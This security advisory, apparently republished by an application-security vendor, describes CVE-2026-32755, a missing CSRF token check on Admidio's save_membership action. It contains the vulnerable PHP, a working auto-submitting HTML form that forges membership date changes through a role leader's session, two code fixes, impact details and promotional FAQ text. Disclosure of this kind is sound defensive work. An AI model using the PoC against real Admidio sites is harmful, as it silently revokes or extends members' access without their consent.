Summary
The save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.
Details
CSRF Check Is Absent for save_membership
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 40-42
The CSRF guard covers only two of the three mutative modes:
if (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
The save_membership mode is missing from this array. The handler then proceeds to read dates from $_POST and update the database without any token verification:
} elseif ($getMode === 'save_membership') {
$postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' => true));
$postMembershipEnd = admFuncVariableIsValid($_POST, 'adm_membership_end_date', 'date', array('requireValue' => true));
$member = new Membership($gDb);
$member->readDataByUuid($getMemberUuid);
$role = new Role($gDb, (int)$member->getValue('mem_rol_id'));
// check if user has the right to edit this membership
if (!$role->allowedToAssignMembers($gCurrentUser)) {
throw new Exception('SYS_NO_RIGHTS');
}
// ... validates dates ...
$role->setMembership($user->getValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);
echo 'success';
}
File: D:/bugcrowd/admidio/repo/modules/profile/profile_function.php, lines 131-169
The Form Does Generate a CSRF Token (Not Validated)
File: D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php, lines 218-241
The membership date form is created via FormPresenter, which automatically injects an adm_csrf_token hidden field into every form. However, the server-side save_membership handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.
Who Can Be Exploited as the CSRF Victim
File: D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php, lines 98-121
The allowedToAssignMembers() check grants write access to:
- Any user who is
isAdministratorRoles()(role administrators), or - Any user who is a leader of the target role when the role has
rol_leader_rightsset toROLE_LEADER_MEMBERS_ASSIGNorROLE_LEADER_MEMBERS_ASSIGN_EDIT
Role leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.
UUIDs Are Discoverable from HTML Source
The save URL for the membership date form is embedded in the profile page HTML:
/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<UUID>&member_uuid=<UUID>
Any authenticated member who can view a profile page can extract both UUIDs from the page source.
PoC
The attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:
<!DOCTYPE html>
<html>
<body onload="document.getElementById('csrf_form').submit()">
<form id="csrf_form"
method="POST"
action="https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=<VICTIM_USER_UUID>&member_uuid=<MEMBERSHIP_UUID>">
<input type="hidden" name="adm_membership_start_date" value="2000-01-01">
<input type="hidden" name="adm_membership_end_date" value="2000-01-02">
</form>
</body>
</html>
Expected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).
Note: No adm_csrf_token field is required because the server does not validate it for save_membership.
Fix 1: Add save_membership to the existing CSRF validation check
// File: modules/profile/profile_function.php, lines 40-42
if (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {
// check the CSRF token of the form against the session token
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
}
Fix 2: Use the form-object validation pattern (consistent with other write endpoints)
} elseif ($getMode === 'save_membership') {
// Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)
$membershipForm = $gCurrentSession->getFormObject($_POST['adm_csrf_token']);
$formValues = $membershipForm->validate($_POST);
$postMembershipStart = $formValues['adm_membership_start_date'];
$postMembershipEnd = $formValues['adm_membership_end_date'];
// ... rest of save logic unchanged
}
Impact
- Unauthorized membership date manipulation: A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.
- Effective access revocation: Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.
- Covert escalation: An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.
- No administrative approval required: The impact occurs silently on the victim's session with no confirmation dialog or notification email.
A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.
CVE-2026-32755 has a CVSS score of 5.7 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.7); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-32755? CVE-2026-32755 is a medium-severity cross-site request forgery (CSRF) vulnerability in admidio/admidio (composer), affecting versions <= 5.0.6. It is fixed in 5.0.7. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
- How severe is CVE-2026-32755? CVE-2026-32755 has a CVSS score of 5.7 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of admidio/admidio are affected by CVE-2026-32755? admidio/admidio (composer) versions <= 5.0.6 is affected.
- Is there a fix for CVE-2026-32755? Yes. CVE-2026-32755 is fixed in 5.0.7. Upgrade to this version or later.
- Is CVE-2026-32755 exploitable, and should I be worried? Whether CVE-2026-32755 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-32755 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-32755? Upgrade
admidio/admidioto 5.0.7 or later.